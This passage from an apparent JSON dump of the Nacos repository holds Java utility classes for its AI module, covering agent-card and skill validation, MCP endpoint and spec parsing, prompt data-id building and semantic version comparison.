protocol;\n    }\n    \n    private static String getCurrentTime() {\n        ZonedDateTime currentTime = ZonedDateTime.now(ZoneOffset.UTC);\n        DateTimeFormatter formatter = DateTimeFormatter.ofPattern(Constants.RELEASE_DATE_FORMAT);\n        return currentTime.format(formatter);\n    }\n    \n    private static void copyAgentCardInfo(AgentCard target, AgentCard source) {\n        copyAgentCardBasicInfo(target, source);\n        target.setUrl(source.getUrl());\n        target.setPreferredTransport(source.getPreferredTransport());\n        target.setAdditionalInterfaces(source.getAdditionalInterfaces());\n        target.setProvider(source.getProvider());\n        target.setSecuritySchemes(source.getSecuritySchemes());\n        target.setSecurity(source.getSecurity());\n        target.setDefaultInputModes(source.getDefaultInputModes());\n        target.setDefaultOutputModes(source.getDefaultOutputModes());\n        target.setSupportsAuthenticatedExtendedCard(source.getSupportsAuthenticatedExtendedCard());\n        target.setDocumentationUrl(source.getDocumentationUrl());\n    }\n    \n    private static void copyAgentCardBasicInfo(AgentCardBasicInfo target, AgentCardBasicInfo source) {\n        target.setProtocolVersion(source.getProtocolVersion());\n        target.setName(source.getName());\n        target.setDescription(source.getDescription());\n        target.setVersion(source.getVersion());\n        target.setIconUrl(source.getIconUrl());\n        target.setCapabilities(source.getCapabilities());\n        target.setSkills(source.getSkills());\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/utils/AgentEndpointUtil.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.Collection;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Utils for Agent Endpoint of A2A.\n *\n * @author xiweng.yy\n */\npublic class AgentEndpointUtil {\n    \n    /**\n     * Transfer a collection of AgentEndpoint to a list of Instance.\n     *\n     * @param endpoints the collection of AgentEndpoint to transfer\n     * @return the list of Instance transferred from AgentEndpoint\n     * @throws NacosApiException if any validation failed during the transfer process\n     */\n    public static List<Instance> transferToInstances(Collection<AgentEndpoint> endpoints) throws NacosApiException {\n        List<Instance> result = new LinkedList<>();\n        for (AgentEndpoint endpoint : endpoints) {\n            result.add(transferToInstance(endpoint));\n        }\n        return result;\n    }\n    \n    /**\n     * Transfer a single AgentEndpoint to an Instance.\n     *\n     * @param endpoint the AgentEndpoint to transfer\n     * @return the Instance transferred from AgentEndpoint\n     * @throws NacosApiException if any validation failed during the transfer process\n     */\n    public static Instance transferToInstance(AgentEndpoint endpoint) throws NacosApiException {\n        Instance instance = new Instance();\n        instance.setIp(endpoint.getAddress());\n        instance.setPort(endpoint.getPort());\n        String path = StringUtils.isBlank(endpoint.getPath()) ? StringUtils.EMPTY : endpoint.getPath();\n        String protocol = StringUtils.isBlank(endpoint.getProtocol()) ? StringUtils.EMPTY : endpoint.getProtocol();\n        String query = StringUtils.isBlank(endpoint.getQuery()) ? StringUtils.EMPTY : endpoint.getQuery();\n        Map<String, String> metadata = Map.of(Constants.A2A.AGENT_ENDPOINT_PATH_KEY, path,\n                Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY, endpoint.getTransport(),\n                Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS, String.valueOf(endpoint.isSupportTls()),\n                Constants.A2A.NACOS_AGENT_ENDPOINT_PROTOCOL_KEY, protocol, Constants.A2A.NACOS_AGENT_ENDPOINT_QUERY_KEY,\n                query);\n        instance.setMetadata(metadata);\n        instance.validate();\n        return instance;\n    }\n}"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/utils/AgentRequestUtil.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardForm;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCapabilities;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.remote.request.AbstractAgentRequest;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.exception.runtime.NacosDeserializationException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.List;\n\n/**\n * Agent and AgentCard request util.\n *\n * @author xiweng.yy\n */\npublic class AgentRequestUtil {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(McpRequestUtil.class);\n    \n    /**\n     * Parse Agent card request form to {@link AgentCard}.\n     *\n     * @param agentCardForm agent card request.\n     * @return agent card\n     * @throws NacosApiException if parse failed or request parameter is conflicted.\n     */\n    public static AgentCard parseAgentCard(AgentCardForm agentCardForm) throws NacosApiException {\n        try {\n            AgentCard result = JacksonUtils.toObj(agentCardForm.getAgentCard(), new TypeReference<>() {\n            });\n            validateAgentCard(result);\n            return result;\n        } catch (NacosDeserializationException e) {\n            LOGGER.error(String.format(\"Deserialize %s from %s failed, \", AgentCard.class.getSimpleName(),\n                    agentCardForm.getAgentCard()), e);\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"agentCard is invalid. Can't be parsed.\");\n        }\n    }\n    \n    /**\n     * Validate agent card is legal.\n     *\n     * @param agentCard agent card\n     * @throws NacosApiException if agent card is illegal.\n     */\n    public static void validateAgentCard(AgentCard agentCard) throws NacosApiException {\n        validateAgentCardField(\"name\", agentCard.getName());\n        validateAgentCardField(\"version\", agentCard.getVersion());\n        validateAgentCardField(\"protocolVersion\", agentCard.getProtocolVersion());\n        validateAgentCardField(\"preferredTransport\", agentCard.getPreferredTransport());\n        validateAgentCardField(\"url\", agentCard.getUrl());\n        if (null == agentCard.getDescription()) {\n            agentCard.setDescription(StringUtils.EMPTY);\n        }\n        if (null == agentCard.getCapabilities()) {\n            agentCard.setCapabilities(new AgentCapabilities());\n        }\n        if (null == agentCard.getDefaultInputModes()) {\n            agentCard.setDefaultInputModes(List.of());\n        }\n        if (null == agentCard.getDefaultOutputModes()) {\n            agentCard.setDefaultOutputModes(List.of());\n        }\n        if (null == agentCard.getSkills()) {\n            agentCard.setSkills(List.of());\n        }\n    }\n    \n    /**\n     * If request contains valid namespaceId, do nothing. If not, fill default namespaceId.\n     *\n     * @param request agent request\n     */\n    public static void fillNamespaceId(AbstractAgentRequest request) {\n        if (StringUtils.isEmpty(request.getNamespaceId())) {\n            request.setNamespaceId(AiConstants.A2a.A2A_DEFAULT_NAMESPACE);\n        }\n    }\n    \n    private static void validateAgentCardField(String fieldName, String fieldValue) throws NacosApiException {\n        if (StringUtils.isEmpty(fieldValue)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `agentCard.\" + fieldName + \"` not present\");\n        }\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/utils/McpConfigUtils.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.FrontEndpointConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\n\nimport java.util.Arrays;\n\nimport static com.alibaba.nacos.ai.constant.Constants.MCP_SERVER_CONFIG_MARK;\n\n/**\n * Mcp config utils.\n * @author xinluo\n */\npublic class McpConfigUtils {\n\n    private static final String MCP_ENDPOINT_CONFIG_DIRECT_SPLIT = \":\";\n\n    private static final String MCP_ENDPOINT_SPEC_ADDRESS_KEY = \"address\";\n\n    private static final String MCP_ENDPOINT_SPEC_PORT_KEY = \"port\";\n\n    private static final int MCP_ENDPOINT_SPEC_PORT_KEY_LENGTH = 2;\n\n    /**\n     * Format the Mcp server version info config data id.\n     * @param id server id\n     * @return mcp server version info config data id\n     */\n    public static String formatServerVersionInfoDataId(String id) {\n        return String.format(Constants.SERVER_VERSION_CONFIG_DATA_ID_TEMPLATE, id);\n    }\n    \n    public static String formatServerSpecInfoDataId(String id, String version) {\n        return String.format(Constants.SERVER_SPECIFICATION_CONFIG_DATA_ID_TEMPLATE, id, version);\n    }\n    \n    public static String formatServerToolSpecDataId(String id, String version) {\n        return String.format(Constants.SERVER_TOOLS_SPEC_CONFIG_DATA_ID_TEMPLATE, id, version);\n    }\n    \n    public static String formatServerNameTagBlurSearchValue(String serverName) {\n        return Constants.MCP_SERVER_NAME_TAG_KEY_PREFIX + Constants.ALL_PATTERN + serverName + Constants.ALL_PATTERN;\n    }\n    \n    public static String formatServerNameTagAccurateSearchValue(String serverName) {\n        return Constants.MCP_SERVER_NAME_TAG_KEY_PREFIX +  serverName;\n    }\n    \n    public static boolean isConfigFound(ConfigQueryChainResponse.ConfigQueryStatus status) {\n        return ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL.equals(status);\n    }\n    \n    public static boolean isConfigNotFound(ConfigQueryChainResponse.ConfigQueryStatus status) {\n        return ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND.equals(status);\n    }\n\n    public static String buildMcpServerVersionConfigTags(String serverName) {\n        return StringUtils.join(Arrays.asList(MCP_SERVER_CONFIG_MARK, Constants.MCP_SERVER_NAME_TAG_KEY_PREFIX + serverName), \",\");\n    }\n\n    /**\n     * Convert {@link FrontEndpointConfig} to {@link McpEndpointSpec}.\n     * <p>Only support MCP_ENDPOINT_TYPE_DIRECT type.</p>\n     * @param frontEndpointConfig front endpoint config\n     * @return mcp endpoint spec\n     * @throws IllegalArgumentException if convert failed\n     */\n    public static McpEndpointSpec convertFrontEndpointConfig(FrontEndpointConfig frontEndpointConfig) {\n        Object epDataObj = frontEndpointConfig.getEndpointData();\n        String epData = (String) epDataObj;\n        McpEndpointSpec endpointSpec = new McpEndpointSpec();\n        String[] hp = epData.split(MCP_ENDPOINT_CONFIG_DIRECT_SPLIT);\n        if (hp.length != MCP_ENDPOINT_SPEC_PORT_KEY_LENGTH) {\n            throw new IllegalArgumentException(\"Invalid endpoint data: \" + epData);\n        }\n        endpointSpec.setType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        endpointSpec.getData().put(MCP_ENDPOINT_SPEC_ADDRESS_KEY, hp[0]);\n        endpointSpec.getData().put(MCP_ENDPOINT_SPEC_PORT_KEY, hp[1]);\n        endpointSpec.getData().put(Constants.MCP_BACKEND_INSTANCE_PROTOCOL_KEY, frontEndpointConfig.getProtocol());\n        return endpointSpec;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/utils/McpRequestUtil.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.form.mcp.admin.McpDetailForm;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServiceRef;\nimport com.alibaba.nacos.api.ai.model.mcp.McpTool;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.ai.remote.request.AbstractMcpRequest;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.exception.runtime.NacosDeserializationException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Map;\n\n/**\n * MCP request util.\n *\n * @author xiweng.yy\n */\npublic class McpRequestUtil {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(McpRequestUtil.class);\n    \n    /**\n     * Parse Mcp detail request form to {@link McpServerBasicInfo}.\n     *\n     * @param mcpForm mcp detail request.\n     * @return mcp server basic info.\n     * @throws NacosApiException if parse failed or request parameter is conflicted.\n     */\n    public static McpServerBasicInfo parseMcpServerBasicInfo(McpDetailForm mcpForm) throws NacosApiException {\n        McpServerBasicInfo result = McpRequestUtil.deserializeSpec(mcpForm.getServerSpecification(),\n                new TypeReference<>() {\n                });\n        if (StringUtils.isEmpty(result.getName())) {\n            result.setName(mcpForm.getMcpName());\n        }\n        return result;\n    }\n    \n    /**\n     * Parse Mcp tools request form to {@link McpTool}.\n     *\n     * @param mcpForm mcp detail request.\n     * @return mcp server tool info\n     * @throws NacosApiException if parse failed.\n     */\n    public static McpToolSpecification parseMcpTools(McpDetailForm mcpForm) throws NacosApiException {\n        if (StringUtils.isBlank(mcpForm.getToolSpecification())) {\n            return null;\n        }\n        return McpRequestUtil.deserializeSpec(mcpForm.getToolSpecification(), new TypeReference<>() {\n        });\n    }\n    \n    /**\n     * Parse Mcp endpoint request form to {@link McpEndpointSpec}.\n     *\n     * @param basicInfo mcp server basic info\n     * @param mcpForm   mcp detail request.\n     * @return mcp server endpoint info\n     * @throws NacosApiException  if parse failed or request parameter is conflicted.\n     */\n    public static McpEndpointSpec parseMcpEndpointSpec(McpServerBasicInfo basicInfo, McpDetailForm mcpForm)\n            throws NacosApiException {\n        if (AiConstants.Mcp.MCP_PROTOCOL_STDIO.equalsIgnoreCase(basicInfo.getProtocol())) {\n            return null;\n        }\n        if (StringUtils.isBlank(mcpForm.getEndpointSpecification())) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"request parameter `endpointSpecification` is required if mcp server type not `local`.\");\n        }\n        return McpRequestUtil.deserializeSpec(mcpForm.getEndpointSpecification(), new TypeReference<>() {\n        });\n    }\n    \n    /**\n     * Deserialize spec from json request.\n     *\n     * @param spec          spec json string.\n     * @param typeReference the type of spec.\n     * @param <T>           the type of spec.\n     * @return spec object.\n     * @throws NacosApiException if deserialize failed.\n     */\n    public static <T> T deserializeSpec(String spec, TypeReference<T> typeReference) throws NacosApiException {\n        return deserializeSpec(spec, typeReference, LOGGER);\n    }\n    \n    /**\n     * Deserialize spec from json request.\n     *\n     * @param spec          spec json string.\n     * @param typeReference the type of spec.\n     * @param logger        the logger to log error.\n     * @param <T>           the type of spec.\n     * @return spec object.\n     * @throws NacosApiException if deserialize failed.\n     */\n    public static <T> T deserializeSpec(String spec, TypeReference<T> typeReference, Logger logger)\n            throws NacosApiException {\n        try {\n            return JacksonUtils.toObj(spec, typeReference);\n        } catch (NacosDeserializationException e) {\n            logger.error(String.format(\"Deserialize %s from %s failed, \", typeReference.getType().getTypeName(), spec),\n                    e);\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"serverSpecification or toolSpecification is invalid. Can't be parsed.\");\n        }\n    }\n    \n    /**\n     * Transfer input to McpServiceRef.\n     *\n     * @param input input object, should be McpServiceRef type or Map type.\n     * @return McpServiceRef\n     */\n    public static McpServiceRef transferToMcpServiceRef(Object input) {\n        if (input instanceof McpServiceRef) {\n            return (McpServiceRef) input;\n        }\n        if (input instanceof Map) {\n            return JacksonUtils.toObj(JacksonUtils.toJson(input), McpServiceRef.class);\n        }\n        throw new IllegalArgumentException(\"input must be instance of McpServiceRef or Map\");\n    }\n    \n    /**\n     * If request contains valid namespaceId, do nothing. If not, fill default namespaceId.\n     *\n     * @param request mcp request\n     */\n    public static void fillNamespaceId(AbstractMcpRequest request) {\n        if (StringUtils.isEmpty(request.getNamespaceId())) {\n            request.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        }\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/utils/PromptDataIdUtils.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Prompt data id utility methods.\n *\n * @author nacos\n */\npublic final class PromptDataIdUtils {\n    \n    private PromptDataIdUtils() {\n    }\n    \n    public static String buildMetaDataId(String promptKey) {\n        return buildDescriptorDataId(promptKey);\n    }\n    \n    public static String buildDescriptorDataId(String promptKey) {\n        return promptKey + Constants.Prompt.DESCRIPTOR_DATA_ID_SUFFIX;\n    }\n    \n    @Deprecated\n    public static String buildAdminInfoDataId(String promptKey) {\n        return buildDescriptorDataId(promptKey);\n    }\n    \n    public static String buildLabelVersionMappingDataId(String promptKey) {\n        return promptKey + Constants.Prompt.LABEL_VERSION_MAPPING_DATA_ID_SUFFIX;\n    }\n    \n    public static String buildLatestDataId(String promptKey) {\n        return promptKey + Constants.Prompt.PROMPT_DATA_ID_SUFFIX;\n    }\n    \n    public static String buildVersionDataId(String promptKey, String version) {\n        return promptKey + \".\" + version + Constants.Prompt.PROMPT_DATA_ID_SUFFIX;\n    }\n    \n    /**\n     * Check whether dataId is prompt meta dataId.\n     *\n     * @param dataId config dataId\n     * @return true if meta dataId\n     */\n    public static boolean isMetaDataId(String dataId) {\n        return isDescriptorDataId(dataId);\n    }\n    \n    public static boolean isDescriptorDataId(String dataId) {\n        return StringUtils.isNotBlank(dataId) && dataId.endsWith(Constants.Prompt.DESCRIPTOR_DATA_ID_SUFFIX);\n    }\n    \n    @Deprecated\n    public static boolean isAdminInfoDataId(String dataId) {\n        return isDescriptorDataId(dataId);\n    }\n    \n    /**\n     * Check whether dataId is prompt label/version mapping dataId.\n     *\n     * @param dataId config dataId\n     * @return true if mapping dataId\n     */\n    public static boolean isLabelVersionMappingDataId(String dataId) {\n        return StringUtils.isNotBlank(dataId) && dataId.endsWith(Constants.Prompt.LABEL_VERSION_MAPPING_DATA_ID_SUFFIX);\n    }\n    \n    /**\n     * Extract prompt key from prompt meta dataId.\n     *\n     * @param dataId config dataId\n     * @return prompt key if valid, otherwise null\n     */\n    public static String extractPromptKeyFromMetaDataId(String dataId) {\n        return extractPromptKeyFromDescriptorDataId(dataId);\n    }\n    \n    /**\n     * Extract prompt key from prompt descriptor dataId.\n     *\n     * @param dataId config dataId\n     * @return prompt key if valid, otherwise null\n     */\n    public static String extractPromptKeyFromDescriptorDataId(String dataId) {\n        if (!isDescriptorDataId(dataId)) {\n            return null;\n        }\n        return dataId.substring(0, dataId.length() - Constants.Prompt.DESCRIPTOR_DATA_ID_SUFFIX.length());\n    }\n    \n    @Deprecated\n    public static String extractPromptKeyFromAdminInfoDataId(String dataId) {\n        return extractPromptKeyFromDescriptorDataId(dataId);\n    }\n    \n    /**\n     * Extract prompt key from mapping dataId.\n     *\n     * @param dataId config dataId\n     * @return prompt key if valid, otherwise null\n     */\n    public static String extractPromptKeyFromLabelVersionMappingDataId(String dataId) {\n        if (!isLabelVersionMappingDataId(dataId)) {\n            return null;\n        }\n        return dataId.substring(0, dataId.length() - Constants.Prompt.LABEL_VERSION_MAPPING_DATA_ID_SUFFIX.length());\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/utils/PromptVersionUtils.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.util.regex.Pattern;\n\n/**\n * Utility class for prompt version validation and comparison.\n *\n * <p>Version format: major.minor.patch (e.g., \"1.0.0\", \"2.1.3\")</p>\n *\n * @author nacos\n */\npublic class PromptVersionUtils {\n    \n    /**\n     * Version pattern: a.b.c where a, b, c are non-negative integers.\n     */\n    private static final Pattern VERSION_PATTERN = Pattern.compile(\"^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$\");\n    \n    /**\n     * Number of parts in semantic version (major.minor.patch).\n     */\n    private static final int VERSION_PARTS_COUNT = 3;\n    \n    /**\n     * JSON file extension suffix.\n     */\n    private static final String JSON_SUFFIX = \".json\";\n    \n    private PromptVersionUtils() {\n    }\n    \n    /**\n     * Validate version format.\n     *\n     * @param version version string\n     * @return true if version is valid (a.b.c format)\n     */\n    public static boolean isValidVersion(String version) {\n        if (StringUtils.isBlank(version)) {\n            return false;\n        }\n        return VERSION_PATTERN.matcher(version).matches();\n    }\n    \n    /**\n     * Compare two versions.\n     *\n     * @param version1 first version\n     * @param version2 second version\n     * @return positive if version1 > version2, negative if version1 < version2, 0 if equal\n     * @throws IllegalArgumentException if version format is invalid\n     */\n    public static int compareVersion(String version1, String version2) {\n        if (!isValidVersion(version1)) {\n            throw new IllegalArgumentException(\"Invalid version format: \" + version1);\n        }\n        if (!isValidVersion(version2)) {\n            throw new IllegalArgumentException(\"Invalid version format: \" + version2);\n        }\n        \n        String[] parts1 = version1.split(\"\\\\.\");\n        String[] parts2 = version2.split(\"\\\\.\");\n        \n        for (int i = 0; i < VERSION_PARTS_COUNT; i++) {\n            int num1 = Integer.parseInt(parts1[i]);\n            int num2 = Integer.parseInt(parts2[i]);\n            if (num1 != num2) {\n                return num1 - num2;\n            }\n        }\n        return 0;\n    }\n    \n    /**\n     * Check if newVersion is greater than currentVersion.\n     *\n     * @param newVersion     new version to publish\n     * @param currentVersion current version (can be null or empty for first publish)\n     * @return true if newVersion > currentVersion, or currentVersion is null/empty\n     */\n    public static boolean isVersionGreater(String newVersion, String currentVersion) {\n        if (!isValidVersion(newVersion)) {\n            return false;\n        }\n        if (StringUtils.isBlank(currentVersion)) {\n            // First publish, any valid version is allowed\n            return true;\n        }\n        if (!isValidVersion(currentVersion)) {\n            // Current version is invalid, allow override\n            return true;\n        }\n        return compareVersion(newVersion, currentVersion) > 0;\n    }\n    \n    /**\n     * Build dataId from promptKey.\n     *\n     * @param promptKey prompt key\n     * @return dataId (promptKey.json)\n     */\n    public static String buildDataId(String promptKey) {\n        return promptKey + JSON_SUFFIX;\n    }\n    \n    /**\n     * Extract promptKey from dataId.\n     *\n     * @param dataId dataId\n     * @return promptKey\n     */\n    public static String extractPromptKey(String dataId) {\n        if (StringUtils.isBlank(dataId)) {\n            return null;\n        }\n        if (dataId.endsWith(JSON_SUFFIX)) {\n            return dataId.substring(0, dataId.length() - JSON_SUFFIX.length());\n        }\n        return dataId;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/utils/SkillRequestUtil.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.utils;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillDetailForm;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.exception.runtime.NacosDeserializationException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.IOException;\n\n/**\n * Skill request util.\n *\n * @author nacos\n */\npublic class SkillRequestUtil {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(SkillRequestUtil.class);\n    \n    /**\n     * Parse Skill request form to {@link Skill}.\n     *\n     * @param skillDetailForm skill detail form.\n     * @return skill\n     * @throws NacosApiException if parse failed or request parameter is conflicted.\n     */\n    public static Skill parseSkill(SkillDetailForm skillDetailForm) throws NacosApiException {\n        try {\n            Skill result = JacksonUtils.toObj(skillDetailForm.getSkillCard(), new TypeReference<>() {\n            });\n            validateSkill(result);\n            return result;\n        } catch (NacosDeserializationException e) {\n            LOGGER.error(String.format(\"Deserialize %s from %s failed, \", Skill.class.getSimpleName(),\n                    skillDetailForm.getSkillCard()), e);\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"skillCard is invalid. Can't be parsed.\");\n        }\n    }\n    \n    /**\n     * Validate skill is legal.\n     *\n     * @param skill skill\n     * @throws NacosApiException if skill is illegal.\n     */\n    public static void validateSkill(Skill skill) throws NacosApiException {\n        validateSkillField(\"name\", skill.getName());\n        validateSkillField(\"description\", skill.getDescription());\n        validateSkillField(\"instruction\", skill.getInstruction());\n    }\n    \n    private static void validateSkillField(String fieldName, String fieldValue) throws NacosApiException {\n        if (StringUtils.isEmpty(fieldValue)) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `skillCard.\" + fieldName + \"` not present\");\n        }\n    }\n\n    /**\n     * Validate uploaded skill zip file and extract bytes.\n     *\n     * <p>Validates the file is not null/empty, checks file size against the maximum limit,\n     * and extracts the file bytes. This method is shared by both admin and console upload endpoints.</p>\n     *\n     * @param file the uploaded multipart file\n     * @return the file bytes\n     * @throws NacosException if validation fails or file reading fails\n     */\n    public static byte[] validateAndExtractZipBytes(MultipartFile file) throws NacosException {\n        if (file == null || file.isEmpty()) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.DATA_EMPTY, \"File is required\");\n        }\n        if (file.getSize() > Constants.Skills.MAX_UPLOAD_ZIP_BYTES) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Skill zip size must not exceed \" + (Constants.Skills.MAX_UPLOAD_ZIP_BYTES / 1024 / 1024)\n                            + \"MB, current: \" + (file.getSize() / 1024 / 1024) + \"MB\");\n        }\n        try {\n            return file.getBytes();\n        } catch (IOException e) {\n            throw new NacosApiException(NacosException.SERVER_ERROR, ErrorCode.PARSING_DATA_FAILED,\n                    \"Failed to read file: \" + e.getMessage());\n        }\n    }\n}\n"
  },
  {
